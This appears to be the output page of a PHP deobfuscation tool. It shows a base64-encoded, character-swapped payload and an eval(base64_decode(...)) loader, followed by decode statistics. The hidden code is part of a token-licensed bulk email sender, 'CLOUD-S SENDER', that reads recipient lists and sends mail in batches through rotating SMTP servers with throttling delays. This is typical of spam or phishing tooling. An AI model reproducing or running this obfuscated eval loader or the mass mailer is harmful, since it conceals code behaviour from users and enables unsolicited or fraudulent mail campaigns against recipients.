sNCiAgICAgICAgICAgICAgICA1Y2gyICJcNVswbVM1bmQgVDIgXDVbMG1bXDVbdXVtICQ1bTE0bCBcNVswbV0gPiBcNVswbVtcNVt1YW0gRnIybSBcNVswbV0gXDVbMG0gPT0+IFw1W3VlbSAkc210cDNzNXIgXDVbMG0gXDVbdW9tIFN0MXQzcyBcNVswbSA6IFw1W3U2bUJBRCFcNVswbVxyXG4iOw0KICAgICAgICB9DQoNCiAgICAgICAgJHNtdHAtPnEzNHQodHIzNSk7DQogICAgfQ0KDQp9DQoNCg0KICAgIDRmICg0bl8xcnIxeSgkazV5cywgJGs1eXYxbDRkKSkgew0KDQogICAkZjRsNSA9IGY0bDVfZzV0X2MybnQ1bnRzKCRDU0MybmY0Z1snRW0xNGwgUzIzcmM1J10pOw0KICAgIDRmICgkZjRsNSkgew0KICAgICAgICAkNXh0ID0gcHI1Z19zcGw0dCgnL1xufFxyXG4/LycsICRmNGw1KTsNCiAgICAgICAgJGg0dDNuZyA9IDA7DQoNCiAgICAgICAgNWNoMiAiICAgICAgXDVbNjA2bSBTNW5kNG5nIEluZjJybTF0NDJuIFw1WzBtXG4iOw0KCQk1Y2gyICJcclxuIjsNCg0KDQogICAgICAgIDVjaDIgIiAgICAgIEZyMm0gTjFtNSAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydGcjJtIE4xbTUnXS4iXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIEZyMm0gTTE0bCAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydGcjJtIE0xNGwnXS4iXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIFMzYmo1Y3QgICAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydNMTRsIFMzYmo1Y3QnXS4iXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIEw1dHQ1ciAgICAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydMNXR0NXInXS4gIlxyXG4iOw0KICAgICAgICA1Y2gyICIgICAgICBFbTE0bCBTMjNyYzUgICAgICBcNVswbTpcNVswbSAiLiRDU0MybmY0Z1snRW0xNGwgUzIzcmM1J10uICJcclxuIjsNCiAgICAgICAgNWNoMiAiXHJcbiI7DQoNCg0KICAgICAgICA1Y2gyICIgICAgICAgICAgICAgICAgICAgICAgICAgXDVbNjt1bV9fX19fX19fX19fX19fX19fX19fX19cNVswbSBcclxuIjsNCiAgICAgICAgNWNoMiAiXDVbOTZtPT09PT09PT09PT09PT09PT09PT09PT09W1w1WzBtIFw1WzY7dW1DTE9VRC1TIFNFTkRFUiBSRUFEWVw1WzBtIFw1Wzk2bV09PT09PT09PT09PT09PT09PT09PT09PT09XDVbMG0iOw0KICAgICAgICA1Y2gyICJcclxuIjsNCiAgICAgICAgNWNoMiAiXG4iOw0KDQoNCiAgICAgICRzbXRwX2s1eSA9IDA7DQogICAgICAgICRtMTRsbDRtNHRoNHQzbmcgPSAwOw0KDQoNCiAgICAgICAgZjJyNTFjaCAoJDV4dCAxcyAkbjNtID0+ICQ1bTE0bCkgew0KDQogICAgICAgICAgICAgIDRmICgkc210cF9rNXkgPT0gYzIzbnQoJENsMjNkU1M1cnY1cikpIHsNCiAgICAgICAgICAgICAgICAkc210cF9rNXkgPSAwOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAvL2s0cjRtDQoNCiAgICAgICAgICAgICAgNWNoMiAiXDVbOTZtfFw1WzBtICI7DQogICAgICAgICAgICAgIDVjaDIgJHQydDFsczVuZDsNCiAgICAgICAgICAgICAgNWNoMiAiIFw1Wzk2bXxcNVswbSAiOw0KICAgICAgICAgICAgICAkdDJ0MWxzNW5kICsrOw0KICAgICAgICAgICAgICBLNHI0bSgkNW0xNGwsICRDbDIzZFNTNXJ2NXJbJHNtdHBfazV5XSwgJENTQzJuZjRnKTsNCg0KICAgICAgICAgICAgICAkc210cF9rNXkrKzsNCg0KICAgICAgICAgICAgICAvLy8NCiAgICAgICAgICAgICBzbDU1cCgkQ1NDMm5mNGdbJ1NsNTVwdDRtNSddKTsNCiAgICAgICAgICAgICAkbTE0bGw0bTR0aDR0M25nKys7DQogICAgICAgICAgICAgJGg0dDNuZysrOw0KDQoNCg0KICAgICAgICAgICAgICAgNGYoJG0xNGxsNG00dGg0dDNuZyA9PSAkQ1NDMm5mNGdbJ00xNGwgTDRtNHQnXSkgew0KICAgICAgICAgICAgICAgIDVjaDIgIlxyXG4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIlxuIjsgDQogICAgICAgICAgICAgICAgNWNoMiAiXDVbOTZtPT09PT09PT09PT09PT09PVtcNVswbSBENWwxeSA0biAiIC4kQ1NDMm5mNGdbJ0Q1bDF5IEw0bTR0J10uICIgczVjIFw1Wzk2bVw1Wzk2bXxcNVswbVw1WzBtIFQydDFsIFM1bmQ0bmcgXDVbMG06XDVbMG0gIiAuJGg0dDNuZy4gIiBcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09XDVbMG0iOw0KICAgICAgICAgICAgICAgIDVjaDIgIlxyXG4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIlxuIjsNCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgc2w1NXAoJENTQzJuZjRnWydENWwxeSBMNG00dCddKTsNCiAgICAgICAgICAgICAgICAgJG0xNGxsNG00dGg0dDNuZz0wOw0KICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgfQ0KICAgICAgICA1Y2gyICIgICAgICAgICAgICAgICAgICAgICAgICAgXDVbNjt1bV9fX19fX19fX19fX19fX19fX19fX1w1WzBtIFxyXG4iOw0KICAgICAgICA1Y2gyICJcNVs5Nm09PT09PT09PT09PT09PT09PT09PT09PT1bXDVbMG0gXDVbNjt1bUNMT1VELVMgU0VOREVSIERPTkVcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09PT09PT09PT1cNVswbSI7DQogICAgICAgIDVjaDIgIlxyXG4iOw0KICAgICAgICA1Y2gyICJcbiI7DQogICAgICAgICAgfQ0KDQoNCn0NCjVsczUgew0KDQogICAgICAgIDVjaDIgIiAgXDVbMG0gICAmIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODtcNVs2MDZtIFMzc3A1bmQ1ZC9JbnYxbDRkIFQyazVuLCBDMm50MWN0IFVzIE4ydyEgXDVbMG0mIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODtcNVswbVxuIjsNCgkJNWNoMiAiXHJcbiI7DQp9DQoNCg0KDQoNCg0KDQo=";eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=="));?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 99cd95b45439018fcbd3714c76000d23 |
Eval Count | 1 |
Decode Time | 25042 ms |